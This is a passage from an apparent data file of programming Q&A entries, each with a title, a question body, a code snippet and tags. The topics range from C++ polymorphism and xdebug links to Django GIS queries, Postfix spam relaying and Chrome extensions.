class DerivedA : public Base{ \n\n public:\n DerivedA(SomeClassUseBase *
tmp){\n\n tmp -> register(this);\n }\n\n ~DerivedA();\n\n
void baseFunc(){\n // do something here that's only for
DerivedA \n\n }\n };\n\n\n\n class DerivedB : public Base{ \n\n
public:\n\n DerivedB(SomeClassUseBase * tmp) {\n tmp ->
register(this);\n }\n\n ~DeriveB();\n\n void baseFunc(){\n
// do something here that's only for DerivedB \n\n }\n };\n\n
class SomeClassUseBase {\n\n private:\n Base ** basePrt;\n
unsigned int index;\n\n public:\n someClassUseBase(int num) {\n\n
basePrt = new Base*[num]; //create an array of pointers to the objects\n
index = 0;\n }\n\n void register( Base * base ){\n\n //i
tried *(basePrt[index]) = *base, but got the same problem\n basePrt[index]
= base; \n\n index = index + 1; \n\n }\n\n void
checkList() {\n for (int i = 0; i < index ;i++){\n next =
basePrt[i];\n\n next -> baseFunc(); //fails here\n }\n
}\n\n };\n\n int main() {\n\n SomeClassUseBase tmp = new
SomeClassUseBase(5);\n\n Base *b[5];\n\n for ( i = 0; i < 5; i += 1 ) {\n
if ( i % 2 == 0 ) {\n b[i] = new DerivedA(&tmp);\n }\n
else {\n\n b[i] = new DerivedB(&tmp); \n // the
object pointed by tmp::basePrt[0] is lost after this line\n } // if\n\n\n\n
} // for\n\n tmp.checkList(); //crashes here since tmp.bastPrt[0] points
to null\n\n}\n", "c++ polymorphism"], "4807095": ["Creating Custom Protocol for
xdebug.file_link_format and Sublime Text 2 on windows", "I am trying to make it so
that I can click on links outputted by xdebug and open the files that have a
problem like in textmate only I am trying to do this with ST2 on windows xp. \nI
tried to use the SublimeProtocol plugin to accomplish this task but the format of
the links it expects in order to open a file are like the following:\n \nand the
xdebug.file_link_format is:\n\nwhich outputs this this type of link: \nso ST2's
console indicates that it is unable to open the file. \nThen I tried creating a
custom protocol based on SO question Creating Custom Protocol\nsince this seemed to
be in line with what I was trying to accomplish. I created a reg file with the
following:\n\nThe problem is when I click the link output by xdebug a file DOES
open in ST2 only file one that is originating in the directory of the browser and
not where xdebug is saying its at. I tried replacing the %1 with %2 so the file
would chop of the parts before C:\\ but the file never opens when that replacement
is used. So what are the other
parameter needed in order for this to work?\nUPDATE:\nAdded a batch file that
contains the following:\n\nand changed the registry to include the .bat as
suggested for windows and netbeans to :\n\nAlso changed the xdebug.file_link_format
to\n \nnow ST2 still opens a file but it is from the browser directory with the
link included almost but excludes C:\\w.\nFor example xdebug link\nsblm://open/?
f=C:\\wamp\\www\\busadv\\parse3.php:10\nthe file opened in ST2 is\nC:\\Program
Files\\SRWare Iron\\amp\\www\\busadv\\parse3.php\n",
"sblm:///C/Users/name/AppData/Roaming/Sublime%20Text%202/Packages/", "windows
protocols xdebug sublimetext2"], "2938834": ["Excel 2010 Web Query with connection
string from a cell", "How to create a Web Query in Excel 2010 with the connection
string (url) from a cell? For example, the url is like \"\", where I need to
populate this url in a cell with Excel formula. I've been trying some VBA code
found on Google, but couldn't get it work. \n\nMy VBA script:\n\n\nI don't want
this macro to create a worksheet every time when executing it. I want to set the ,
but it seems to be wrong syntax.\n\n", "http://www.xxx.com?date=20110716", "excel-
2010"], "3101746": ["Any difference between configure.ac and configure.in, and
Makefile.am and Makefile.in?", "I have seen both in different things I have
configured. What I the difference? Is it notable to use only one? Or does it not
matter which one to use?\n", "", "makefile autoconf configure automake"],
"4369540": ["Looking for a lean WYSIWYG inline editor for CMS projects that
includes an image upload feature?", "I am looking to find a lean WYSIWYG inline
editor. The main required feature is image uploading. A simple way to upload an
image to the server and use it in the content being editted. I have come across a
whole bunch of editors but nothing I liked so far. I am looking for something open
source and free.\nSo far I have checked out TinyMCE which is free.. untill you need
image uploading capabilities.\nCkeditor looks great.. uses jquery.. but requires
you to have your own server side script to upload images. They barely give any
documentation on how to do this.\nThere were a few others, but the bottom line was
that I cant find anything that is simple with out of the box image uploading
capabilities.\nThanks for any advice you may give!\n", "", "php javascript jquery
wysiwyg"], "2376624": ["Are there smooth analogs to polynomial splines", "Is
possible to construct infinitely differentiable functions that interpolate through
arbitrary points, the way polynomial splines do? If so, do they have a name and is
there an algorithm for constructing the curves.\nI suppose a infinite degree
polynomial spline might qualify but I was hoping there might be something more like
a bump function.\nI definitely am a novice when it comes to this stuff, so please
do not hesitate to correct me if I misusing any terminology.\n", "", "numerical-
methods interpolation"], "297428": ["Django GIS' coveredby query returns wrong
result", "There is an GIS coveredby query problem, the query returns a list of
items that have a coordinates outside an area I have searched in, what's going on?\
n\n", "from django.contrib.gis.geos import Polygon\nfrom deals.models import Deal\
n\nx1, y1 = 37.446899, 55.693455\nx2, y2 = 37.666626, 55.551165\narea =
Polygon(((x1, y1), (x2, y1), (x2, y2), (x1, y2), (x1, y1)))\nqs =
Deal.objects.filter(locations__coords__coveredby=area)\n\ndef count():\n ok,
failed = 0, 0\n for item in qs.filter(locations__coords__isnull=False)[:20]:\n
for loc in item.locations.all():\n lon = loc.longitude\n lat
= loc.latitude\n if x1 <= lon <= x2 and y1 <= lat <= y2:\n
ok += 1\n else:\n failed += 1\n return ok, failed\n\
n>>> ok, failed\nOut[18]: (0, 11)\n", "django gis"], "459004": ["GNUPLOT : Plot sum
of distributions given by parameters in text file", "Suppose I have a text file
with an arbitrary number of rows where each row gives some set of parameters that
define a function (say the (x,y) location and sigmas (possibility unequal) of a 2D
Gaussian). For example, in that case, the text file might contain:\n\nI would like
to plot (using pm3d) the SUM of all the distributions defined by the text file. How
can that be done?\n", "100 112 3 4\n97 38 8 9\n88 79 3 9\n ...\n ...\
n102 152 9 5\n", "gnuplot"], "138094": ["ASP.net Pages With 64 Bit Assembly in
Visual Studio 2010", "Short Version:\nI'm using a 64bit dll (system.data.sqlite) in
an Asp.net MVC app in VS 2010. The application runs and debugs fine, but all the
aspx and ascx pages show errors when editing in Visual Studio 2010 and intellisense
doesn't work. \nThis is a VS2010 regression bug. Does anyone have a work
around? \n(OR)\nDoes anyone know of a free, reliable, production ready embeddable
database that doesn't cause a 32/64 bit problem?\nMore Details\nApparently this
worked in Visual Studio 2008 and this has been is a known regression bug in Visual
Studio 2010 for several months. I don't want to revert to VS 2008 and I don't want
to debug in 32 bit mode. \nI have web application that needs to debug and deploy as
a 64 bit mode because it uses uses some unmanaged 64 bit dll's like
system.data.sqlite. Also, I prefer debugging in 64 bit mode because it allows us
to test some high memory use cases. \nAfter a lot of fiddling, Asp.net will deploy
and run just fine. However all the aspx and ascx pages show errors and
intellisense doesn't work when editing them in Visual Studio 2010. Apparently this
worked in Visual Studio 2008 and this has been is a known problem in Visual Studio
2010 for months. I don't want to revert to VS 2008. \nThere was a work around
posted on SO here but it didn't work in my tests, limits debugging to 32bit mode,
and also feels a bit hacky (I think it only works for VS Express style websites).
Has anyone made this work in a web application or have a better work around?\nFor
those who are interested Visual Studio 2010 has two other problems with 64bit dlls
that I have managed to work around. \nProblem 1 - Cassini: Cassini can only debug
in 32 bit mode\nSolution 1 - CassiniDev or Localhost: Debug using localhost or
compile CassiniDev (an opensoure variant of cassini) in 64bit mode. I like the
zero config simplicity of debugging a new web app with cassini so I used
CassiniDev. You just stick the dlls in C:\\Program Files (x86)\\Common Files\\
microsoft shared\\DevServer\\10.0 and it works (I recommended making a backup of
the Cassini version you will be over writing). \nProblem 2 - MSTest: By default
unit tests run with MSTest fail to load 64bit dlls.\nSolution 2 - AnyCPU & 64bit
host process Instructions here, set local.testsettings to AnyCPU & 64bit host
process\nI'm starting to think the whole setup is too little hacky and I'm on the
verge of giving up and restructuring my application to not use a 64bit dll. I'm
also really disappointed that Visual Studio 2010 caused all these problems. Can
somebody make MS fix the regression bug they created? \nOr, \nWe want to use an
embeddable database. Does anyone know of a free, reliable, production ready
embeddable database that doesn't cause the 32/64 bit problem? \n", "", "asp.net
visual-studio-2010 dll 64bit 32bit-64bit"], "5143677": ["jquery dialog iframe
shim", "Is there a way to use a plugin to create an iframe shim for a jquery dialog
(that works on newer browsers, too)? I'm trying to show a dialog on top of a google
earth plugin and the dialog does not show through. I tried adding to the dialog,
but that does not seem to work, and I'm trying not to roll my own solution for
this.\nI saw the jquery.shim plugin http://sourceforge.net/projects/jqueryshim/ but
could not figure out how to use that for dialogs.\n", "bgiframe: true", "javascript
jquery iframe dialog shim"], "649418": ["SQL Server 2008 Optimization", "I've
learned today, if you append to your query\n\nyour query will run on multiple
processors and if it's huge query, query will perform faster.\nI know general
guidelines on query optimizations (using indexes, selecting only needed fields
etc.), my question is about SQL Server optimization. Maybe changing some options in
configurations or anything else.\nWhat guidelines are there for SQL Server
Optimization?\nThank you.\nP.S. I suppose, this is not the right place to ask
server related questions. Should I delete it or maybe it can be migrated to
serverfault?\n", "OPTION (MAXDOP 0)\n", "sql-server-2008 optimization guidelines"],
"2153907": ["Disable auto-rotate and center in PDF files", "I have a PHP script
that uses FPDF to create PDF files with exact dimensions (mailing labels). Problem
is, when they are printed, the default options throw off all the margins and shrink
everything. If the user changes \"Page Scaling\" to none and unchecks \"Auto-Rotate
and Center\" the document prints perfectly. Problem with that solution is, nobody
remembers to do it.\nI found another question on SO with an answer that helps by
defaulting the \"Page Scaling\" to none by adding a tag with option.\nDoes
anybody know of a similar tag/option that I can add to the PDF to uncheck \"Auto-
Rotate and Center\" by default?\n", "ViewerPreferences", "php pdf pdf-generation
fpdf"], "1103148": ["Someone used my postfix smtp (port 25) to send spam mails to
me", "This week, someone started to send spam-mails through my postfix-smtp access
(I verified by logging in through telnet from an arbitrary pc and sending mails
with any ids myself) on my server, with recipient and target being
[email protected]. Since I have a catchall and mail-fowarding to my google
account, I received all those (many) mails.\nAfter a lot of configuration (I lost
track of what change did what, going through dozends of topics here and over the
net) that hole seems fixed. Still,
what hapened?\nDoes port 25 need to be open and accepting for my catchall to
work?\nWhat configuration did I do wrong?\nI remember the first thing I changed
(that had an effect) was the inet_interface setting in main.cf, only later to find
out that if this does not say \"all\", my mail to mydomain.com does not get
forwarded any more.\n", "", "debian postfix configuration spam catch-all"],
"5136960": ["NSExpressionDescription for empty result sets", "Using Core Data, I
have a fetch request to fetch the minimum of a certain attribute using an
expression. If I set a predicate on the request that results in no results being
matched, I get EXC_BAD_ACCESS. This makes some sense, seeing as you can't add nil
to an NSArray for the results, but what's the best way around this?\nI can just use
a sort order and a fetch limit of 1, but it seems a bit of the oversight in the
NSExpressionDescription API that there's no way to return a default result or
return an empty array if no objects were matched before evaluating the expression.\
nOr am I misdiagnosing the EXC_BAD_ACCESS entirely, and NSExpressionDescriptions,
used in setPropertiesToFetch on a fetch request should already behave sensibly for
this situation?\n", "", "ios core-data exc-bad-access nsfetchrequest"], "2737888":
["Android contacts extraction", "Are there any possibilities to extract contacts in
some of the following formats, vCard, hCard or json/xml, using the standard Android
API?\n", "", "android"], "5146584": ["How to draw a sprite from a char array using
a for loop", "So, basically I'm trying to use a char array for a character sprite
for my game prototype right now, but I cannot find a working way to read each
element in the correct 'row' to print out the character (trying to find a way to
draw the sprite by using fill rects line by line of arrays). Again, I've tried many
ways such as for \"indenting\" to fill rectangles of the sprite on a new row, but
none of it is working.\nSuggestions/help anyone? \nCode:\n\n", "if (i % 5 == 0)
y_temp += 5;", "java arrays graphics jframe"], "300517": ["Arch Linux:
'whatprovides' equivalent option for pacman", "I've come from Fedora and am trying
out Arch Linux.\nI was wondering if the packager 'pacman' contains funcionality
like that provided by 'yum whatprovides':\n\nprovides or whatprovides\n
Is used to find out which package provides some feature or file. Just use a
specific name or a file-\n glob-syntax wildcards to list the packages
available or installed that provide that feature or file.\n\n", "", "linux package-
management arch-linux"], "3254570": ["How to get Raphael element by data or any
other unique value?", "I made 2 circles, (as well in my work i have no.of small
circle making by using loop.) so i can't add the custom id to all, but i set the
data to each circles.\nNow how can i click on a required circle onclick to hide or
animate other circle by data..?\nI don't know the ways is correct. in case if this
is not a way, let me know your advice, or give me some suggestion to do this.\
nthanks in advance.\n\nJsfiddle here\n", "var paper = new
Raphael('myPaper',500,500);\nvar circle =
paper.circle(100,100,100).attr({'fill':'red'});\nvar text =
paper.text(100,100,\"test Text\").attr({'fill':'#fff'});\n\nvar smallCircle =
paper.circle(300,100,50).attr({'fill':'green'}).data('id','green');\n\nvar newSet =
paper.set();\n\nnewSet.push(circle,text);\n\
nnewSet.attr({cursor:'pointer'}).data('id','oval');\n\nnewSet.click(function () {\n
//smallCircle.attr({opacity:0.5}); //it works but i have no.of circle added by
loop.\n smallCircle.data('green').attr({opacity:0.5}); //this is not working. i
am setting unique data on each circle\n\n} )\n", "jquery raphael"], "5569193":
["How to uninstall APC from a dedicated cpanel server using ssh", "I want to
uninstall APC caching software from my server. How to do that using ssh. My server
OS is CENTOS 6.2 and php 5.2.\nThanks\n", "", "php cpanel apc"], "4402948":
["scala.xml.pull.XMLEventReader not keeping up with stream", "I'm trying to use the
scala.xml.pull.XMLEventReader roughly like so:\n\nThen I iterate over the XML
stream with:\n\nThe problem here is that the xmleventreader is blocking
on \"hasNext\" and not alerting to new XML tags that I know have arrived (I
monitored the stream with TCP Dump.. and can see a <success xmlns=\"blah\"/> tag at
the end but still haven't even been notified the previous tag was closed).\nI tried
this in scala 2.8.0, 2.8.1 and 2.9.0\nIs also tried without \".buffered\" and
without using BufferedInputStream but the results were the same.\nIs there any hope
or is the XMLEventReader just broken?\n", "private val in =\n new
XMLEventReader(Source.fromInputStream(\n new
BufferedInputStream(sock.getInputStream()), \"utf-8\")).buffered\n", "xml scala"],
"2233627": ["Is there any way to convert Microsoft word document to notepad
file .txt formate?", "I try this code\n\nBut in strNewDocText1 get output including
bullets and extra word formate\nI want to simple plain-text format of my word
document into text documnt.\n", "string[] ext = att.Name.Split('.');\nstring file =
ext[0].ToString();\nobject Target = file + \".txt\";\nobject nullobject =
System.Reflection.Missing.Value;\n\nApplication.Documents.Open(ref FileName, ref
nullobj, ref nullobj, ref nullobj, ref nullobj, ref nullobj, ref nullobj, ref
nullobj, ref nullobj, ref value, ref value, ref nullobj, ref nullobj, ref nullobj,
ref nullobj, ref nullobj);\nobject format =
Microsoft.Office.Interop.Word.WdSaveFormat.wdFormatUnicodeText;\n\
nApplication.ActiveDocument.SaveAs(ref Target, ref format,\n
ref Unknown, ref Unknown, ref Unknown,\n ref Unknown, ref
Unknown, ref Unknown,\n ref Unknown, ref Unknown, ref
Unknown,\n ref Unknown, ref Unknown, ref Unknown,\n
ref Unknown, ref Unknown);\nApplication.Visible = false;\
nMicrosoft.Office.Interop.Word.Document oDoc1 = Application.ActiveDocument;\nstring
strNewDocText1 = oDoc1.Content.Text;\n", "c# asp.net web-applications ms-word
office-interop"], "2822695": ["java drawing a circle when mouse clicked", "i am
writing a program that when the mouse is clicked, a circle will be drawn. The below
code i've wrote so far. \n\nThe code is a 400X400 jframe, when clicked open display
a circle at a half seconds, The problem is that, when i release the mouse, the
circle disappear. why?\n", "import java.awt.*;\nimport javax.swing.*;\nimport
java.awt.event.ActionEvent;\nimport java.awt.event.ActionListener;\nimport
java.awt.event.MouseEvent;\nimport java.awt.event.MouseListener;\nimport
javax.swing.event.*;\nimport java.awt.geom.*;\n\npublic class test extends JFrame
implements ActionListener, MouseListener {\n Shape circle = new
Ellipse2D.Float(10, 10, 10, 10);\n\n public test () {\n
setSize(250,150);\n addMouseListener(this);\n }\n\n public static void
main(String[] args) {\n //TODO code application logic here\n
java.awt.EventQueue.invokeLater(new Runnable() {\n public void run()
{\n test frame = new test();\n
frame.setVisible(true);\n }\n });\n }\n\n public void
actionPerformed(ActionEvent ae) {\n\n }\n\n public void drawCircle(int x, int
y) {\n Graphics g = this.getGraphics();\n g.drawOval(x, y, x, y);\n
g.setColor(Color.BLACK);\n g.fillOval(x, y, 2, 2);\n }\n\n public void
mouseClicked(MouseEvent e) {\n drawCircle(e.getX(), e.getY());\n
repaint();\n }\n\n public void mouseExited(MouseEvent e) {\n\n }\n\n
public void mousePressed(MouseEvent e) {\n\n }\n\n public void
mouseReleased(MouseEvent e) {\n\n }\n\n public void mouseEntered(MouseEvent
e) {\n\n }\n}\n", "java swing java-2d"], "5151965": ["How to do supervised
deepbelief training in PyBrain?", "I have trouble getting the DeepBeliefTrainer to
work on my data in PyBrain/Python. Since I can't find any examples other than
unsupervised on how to use the deep learning in PyBrain, I hope that someone can
give examples that would show a basic concept of usage.\nI have tried to initialize
using:\n\nI try to use a SupervisedDataset for regression, but the training just
fails. Have anyone succeded with using deeplearning trainer for supervised machine
learning? And how did you do it?\nError I get:\n\n", "epochs = 100\nlayerDims =
[768,100,100,1]\n\nnet = buildNetwork(*layerDims)\ndataset = self.dataset\ntrainer
= DeepBeliefTrainer(net, dataset=dataSet)\ntrainer.trainEpochs(epochs)\n", "python
machine-learning neural-network pybrain dbn"], "5172127": ["Why do people continue
to use data structures that allow overflows?", "Buffer overflows seem to be one of
the biggest causes of security vulnerabilities. I rarely program in C/C++ (only
for certain coursework), so I may be missing something, but I don't understand why
people continue to use data structures that allow overflows. Why don't all data
structures throw an exception when full? Seems like this simple solution would
greatly enhance software security.\n", "", "security buffer-overflow"], "3960981":
["Is it possible to modify CABasicAnimation properties on-the-fly?", "I am
currently controlling the speed of an animated layer, using the property of a
instance. Currently I am only able to change the value of this property for a
running animation by removing the animation from the layer and then re-adding it:\
n\nWhat I would like to be able to do is something like this:\n\nBut this just
causes the application to crash. I believe that isn't returning a valid
instance.\nAny advice to get this working?\n", "duration", "iphone objective-c ios
cocoa core-animation"], "834887": ["Java - How do I verify alt text appears when
mouse
hovers over a button?", "I am testing a site written in Javascript, by writing
(very simple) Java tests in Eclipse and running them as JUnit tests.\nAs I am
almost completely new to Java, I am encountering problems all over the place. For
example: on the webpage, there are a few buttons that have alt-text that appears if
the mouse is hovered over the buttons for half a second. \nI use Selenium IDE
1.0.10 to get the scLocator IDs, but it does not pick up the ID for the alt-text
pop-up. If, in the Selenium IDE, I use or , nothing happens. The test does not
fail, as the element is present, yet the alt-text does not appear. \nWhat java
command can I use for ? I guess I can use once I find the element, but what
command can I use in java to simulate a mouse hover over a button?\nI hope the
question is clear and makes sense.\n", "\"mouseOver\"", "java javascript junit
webdriver smartgwt"], "2209072": ["how do i add null in tab bar?", "i m using tab
bar in my application but some screens i want to not redirect any other screen i
try it null but code is blast what i write instead of screen name?\ni want to click
only and and when user click any other activity not redirect any where i write
null instead of but code is stopped unexpectedy what I write instead of null?\n\
n", "myscreen1", "android android-tabhost"], "4217347": ["View cookies : Keyboard
shortcut? Extension?", "While developing a web app, I need to check what cookies
the site sent to browser (Chrome), so \"Customize > Options > Under the hood >
Content Settings > Cookies > Show cookies and other site data\" is too many
clicks.\nI haven't found a keyboard shortcut to get to that page. If there's none,
do you know of an extension that would solve this issue?\nThank you.\n", "",
"google-chrome keyboard-shortcuts cookies"], "4390184": ["android.process.acore has
stopped unexpectedly problem?", "when i try to run emulator it give me following
error\n\nandroid.process.acore has stopped\n unexpectedly force close\n\nand i
cannot run any application can any one guide me how to resolve this issue?\n", "",
"android android-emulator"], "3155331": ["PyGTK/Glade keep button size standar", "I
have a simple pygtk/glade window with a menu and a 3x3 grid. Each row of the grid
consists on: two labels and a button.\nWhen the Window is resized, the labels holds
the same font size, but the buttons get resized, and they could become HUGE if the
windows gets very big.\nHow could I manage to keep my buttons with the same size
always (the \"standar\" size of a button, just like they are when the interface is
just opened) no matter if the Window is resized?\n", "", "python pygtk glade"],
"687649": ["Data Error (Cyclic Redundancy Check) during hard drive format?", "New
HDD from my uncle, RAW file system. Tried CHKDSK, but no go cuz of RAW file
system.\n\n\nUpdate\nI ran SpinRite 6 over nite and it got nowhere. Stayed 0% the
whole 10 hours. SpinRite also gave me a notification that this drive is most
probably toast. I think I am going to throw this drive away.\n", "", "windows-7
hard-drive chkdsk"], "261647": ["Setting up a Subdomain In Plesk", "I have set up a
subdomain in plesk.\nI have set the A type entry's ip address under the server >
dns settings to the site ip\nI have check the subdomain address through the browser
for the past week and I recieve a page not found error. It has been a week since I
set up the subdomain, so it should have been picked up by now.\nIs there a setting
or step I have missed in getting this going.\n", "", "subdomain plesk"], "4005644":
["Fluent NHibernate Automapping with RIA services", "I've encountered a slight
problem recently, or rather a lack of understanding of how NHibernate automapping
works with RIA data services.\nNamely, I don't understand how to use and
attributes. For instance, I've created two tables in my database and corresponding
classes (that NHibernate correctly fills). The problem is, RIA doesn't generate
properties (collections) bound by foreign key to other tables, on the client side,
although I've defined them in my classes in my domain model... it generates just
properties that belong to their own class, on the client side.\nI assume that these
attributes aren't necessary since NHibernate automapper is supposed to fill those
collections on it's own... I'm quite confused as to how this works. And I don't
understand why RIA simply skips properties such as\n\nduring autogeneration.\nAny
input is appreciated\nThanks\n", "Association", "c# nhibernate fluent-nhibernate
ria-services"], "2163174": ["What's an example of a simple C function which is
faster implemented in inline assembly?", "I'm having a hard time beating my
compiler using inline assembly.\nWhat's a good, non-contrived examples of a
function which the compiler has a hard time making really, really fast and simple?
But that's relatively simple to make with inline assembly.\n", "", "assembly
inline-assembly"], "3478186": ["Getting the difference between two memory
addresses", "I have the memory address of one :0xbfde61e0. I also have another
memory address (that is also . How can I calculate the difference between the two
to use as an offset between the two locations?\n", "int *", "c memory"], "114274":
["How do I log out of all my active sessions?", "For some reason, I have a few open
sessions on an SSH server that I don't know about. I assume they're leftovers from
when my pipe broke.\n\nIs there a way to log me out across all sessions?\n", "$
users\nuser1 user2 user3 me me me me\n", "ssh users login"], "1576318":
["Navigation bar style in popover view controller", "In iPhone SDK 4.2.3, use
default Split View template to cook-up a dummy application. \nIn landscape mode,
the master view uses default navigation bar style. In portrait mode, the master
view uses black navigation bar style inside the popover. How can i change the bar
style/tint color to make it consistent for both views? \nI've tried to do this in
split view delegate method, but it doesn't work. \n\nI've also tried to explicitly
set the navigation bar style in the master view controller class, but that doesn't
seem to have any impact as well.\n\n",
"pc.contentViewController.navigationController.navigationBar.barStyle =
UIBarStyleDefault;\
npc.contentViewController.navigationController.navigationBar.tintColor = [UIColor
redColor];\n", "ipad split uisplitviewcontroller uipopovercontroller popover"],
"2872165": ["rails: how to use database bindings in where", "in rails, if i try to
get an object using where:\n\nthe log file shows that no database bindings are
used.\n\nNow if i create a new object\n\nrails uses parameters\n\nhow can i get
rails to use database parameter bindings in where as well?\nThe following statement
also generates the same where\nCustomer.where(\"name = ?\", \"abc\")\n",
"Customer.where(:name => \"abc\")\n", "ruby-on-rails database parameters sql-
injection where-clause"], "4433178": ["Spaghetti stack in C", "Does anybody know
where I can find an example of a Spaghetti stack written in C?\n", "", "c data-
structures"], "3423069": ["Outlook 2007 Addin access value in editBox on custom
ribbon", "I am building a Outlook 2007 Addin using with VS2008 using
IRibbonExtensibility.\nMy simple ribbon displays on a MailItem and has a editBox
and a button control. Required functionality is that the user enters a number in
the editBox, then clicks the button. The email message is then saved into a third
party system (using the number entered in the editBox as a \u201cprimary key\u201d
to control location etc)\nI am stuck at the point of accessing the value the user
has entered into the editBox from the callback function of the button.\nI have the
follow markup\n\n\n\nAnd the following callback\npublic void
AddEmailToButton_Action (Microsoft.Office.Core.IRibbonControl p_Control)\n
{\n\nThanks\nandrew\n", " <editBox\n id=\"FileNumber\"\n
maxLength=\"6\"\n label=\"File No\"\n />\n\n <button\n
id=\"AddEmailTo\"\n label=\"Save to\"\n onAction
=\"AddEmailToButton_Action\"\n />\n </group>\n </tab>\n", "c# visual-
studio-2008 vsto outlook-addin"], "6006523": ["How to get instance of Boxy from
within its contents?", "How can i access the Instance of Boxy within its contents.
I have a Link that loads a form in Boxy. Its displaying the boxy popup and its
working fine. Now i want to access the instance of the boxy from form submit
function. How can i do this. I have the code below.\n\nlink is loading the form\
n\nKind suggest\nEDIT : I wanted to get the Instance of Boxy that loaded my form. I
DONT want to access the link. \n", "$('a.boxy').boxy({\n modal:true,\n
show:true,\n title:'&nbsp;',\n closeable:true,\n
center:true,\n });//boxy\n", "jquery jquery-plugins boxy"], "2822697": ["Merging
Mono failed when creating installer for osx", "I get the following error when I try
to publish my MonoMac application as mac installer.\nI am using MonoDevelop 2.4.2,
MonoMac 2.4.2.4 and the project is a fresh project created by the \"C# MonoMac
Project\". \nI just added two classes and called them via of the MainWindow.\n\
nCreating app bundle\nContents/Info.plist\nContents/PkgInfo\nContents/Resources/
MainMenu.nib\nContents/Resources/MainWindow.nib\nContents/Resources/Scripts/
itunes.scpt\nContents/Resources/Scripts/out.txt\n\nMerging Mono into app bundle\
nmmp --linksdkonly -o \"/tmp/monomac-build-634406615434742750\" -n \"djBillboard\"
-a \"/Library/Frameworks/Mono.framework/Versions/2.10.1/lib/mono/4.0/System.dll\" -
a \"/Library/Frameworks/Mono.framework/Versions/2.10.1/lib/mono/4.0/
System.Xml.dll\" -a
\"/Library/Frameworks/Mono.framework/Versions/2.10.1/lib/mono/4.0/System.Core.dll\"
-a \"/Library/Frameworks/Mono.framework/Versions/2.10.1/lib/mono/4.0/
System.Xml.Linq.dll\"
-a \"/Library/Frameworks/Mono.framework/Versions/2.10.1/lib/mono/4.0/
System.Drawing.dll\" -a
\"/Users/Sebi/.config/MonoDevelop/addins/MonoDevelop.MonoMac.2.4.2.4/MonoMac.dll\"
-a \"/Users/Sebi/Projects/djBillboard/lib/Nugget.dll\"
\"/Users/Sebi/Projects/djBillboard/djBillboard/bin/Debug/djBillboard.exe\"\n\
nUnhandled Exception: System.NullReferenceException: Object reference not set to an
instance of an object\n at MonoMac.Bundler.Driver.Link () [0x00000] in :0 \n at
MonoMac.Bundler.Driver.Main (System.String[] args) [0x00000] in :0 \n\nUnhandled
Exception: System.NullReferenceException: Object reference not set to an instance
of an object\n at MonoMac.Bundler.Driver.Link () [0x00000] in :0 \n at
MonoMac.Bundler.Driver.Main (System.String[] args) [0x00000] in :0 \n\n\nMerging
Mono failed\n\n", "Initialize", "c# osx package monomac"], "6006295": ["How to set
brightness to uiimage captured from uiimagepickercontroller", "I'm using class. I
have a button, when i click that button, i want image bright. I have searched
online, but the code i found upon search is not working.\nHere is the code i have
found and used :\n\nImage is still at original image's brightness, it is not
changing.\n", "UIImagePickerController", "iphone uiimagepickercontroller"],
"261646": ["Change domain on exchange server login credentials", "I am trying to
setup Outlook 2010 in Windows 7 Pro to connect to my company's exchange server.
However, when I try to enter my username and password to verify my account, it
forces me to use a default domain of clayton-pc (my computer name). I need to use
a domain of CORP. How do I configure this?\n", "", "microsoft-outlook exchange"],
"5019042": ["Exception when endpoint is configured in web.config file", "I am using
wf wcf service and added configured for its control end point in web.config file.\
nWhen i call terminate method through workflowcontrol client its thro exception
like \"The message with To cannot be processed at the receiver, due to an
AddressFilter mismatch at the EndpointDispatcher. Check that the sender and
receiver's EndpointAddresses agree.\".\nControl end point configuration like this.\
nAt service side-\n\nconfiguration at client sile is -\n\nI would appreciate to if
you help me to find the solution.\nIts working fine when i use workflowservice host
and add control end point in code.\n", "<services>\n <service
name=\"PurchaseOrder\">\n <endpoint address=\"\"\n
binding=\"basicHttpBinding\" contract=\"POWorkflowService.IPurchaseOrder\" />
\n <endpoint address=\"wce\"\n binding=\"basicHttpBinding\"
kind=\"workflowControlEndpoint\" />\n </service>\n </services>\n
<standardEndpoints>\n <workflowControlEndpoint>\n <standardEndpoint/>\n
</workflowControlEndpoint>\n </standardEndpoints>\n", "wcf workflow-
foundation"], "5568578": ["Responsive design / scaling modules according to
resolution", "I added the following module to joomla \"Left right image slideshow\"
this can be found at http://www.gopiplus.com/extensions/2011/07/left-right-image-
slideshow-joomla-module/#comments\nin this module the available customize settings
is the following:\nWidth (px): |___| <----textbox\nHeight (px): |____| <----
textbox\nThis works fine the only problem is that if I open it on another computer
with a different screen resolution the imageview is too big or too small. After
doing some research I found that I need to use \"%\" instead of px, but in this
case as you can see in the picture the textbox is only for px. In this case how can
I change my imageview to adjust when the resolution changes?\nPlease help?\n", "",
"css joomla"], "374855": ["Require.JS in a Chrome extension: define is not
defined", "I'm trying to use Requre.js in my chrome extension.\nHere is my
manifest: \n\nhd_init.js\n\njs/test.js\n\nThis is what I get in console:\n\nSo it
loads the file, but can't see \"define\" function.\nThis looks like some kind of a
scope error.\nIf I run in on local server, it works as it should. \nAny ideas?\n",
"{\n \"name\":\"my extension\",\n \"version\":\"1.0\",\
n \"manifest_version\":2,\n \"permissions\": [\"http://localhost/*\"],\
n \"web_accessible_resources\": [\n \"js/test.js\"\n ],\
n \"content_scripts\":[\n { \n \"matches\":
[\"http://localhost/*\"],\n \"js\":[\n
\"js/require.js\",\n \"js/hd_init.js\"\n ]\n }\n
]\n}\n", "javascript google-chrome google-chrome-extension variable-scope
requirejs"], "3010068": ["deployment for jruby on rails app", "I am trying to
deploy a jruby on rails application. \nRight now I am running mongrel + Apache2
using reverse proxy from mod_proxy. However, because mongrel_jcluster does not work
for the latest versions of jruby, I am only able to run one mongrel server, and
cant take advantage of load balancing from apache2.\nIs there any way other way to
create a mongrel cluster? I'd really prefer mongrel cluster + apache2 to a java
servlet type system.\nI've tried jetty using the instructions here: http://jetty-
rails.rubyforge.org/\nbut I get the following error when starting up the jetty
server, even though I've checked my activerecord-jdbcmysql-adapter gem version
under jruby and its there and version 0.9.7\n\nany suggestions would be
appreciated, thanks!\n EDIT: I don't know if this makes a difference, but I am
able to tell that before it crashes, jetty_rails successfully loads a global
variable declared in the environment.rb\n EDIT: here is my full gem list from \n\
n", "DEPRECATION WARNING: require \"activesupport\" is deprecated and will be
removed in Rails 3. Use require \"active_support\" instead. (called from
/home/andrew/.gem/jruby/1.8/gems/activesupport-2.3.8/lib/activesupport.rb:2)\n2010-
07-20 17:00:46.820::INFO: Logging to STDERR via org.mortbay.log.StdErrLog\
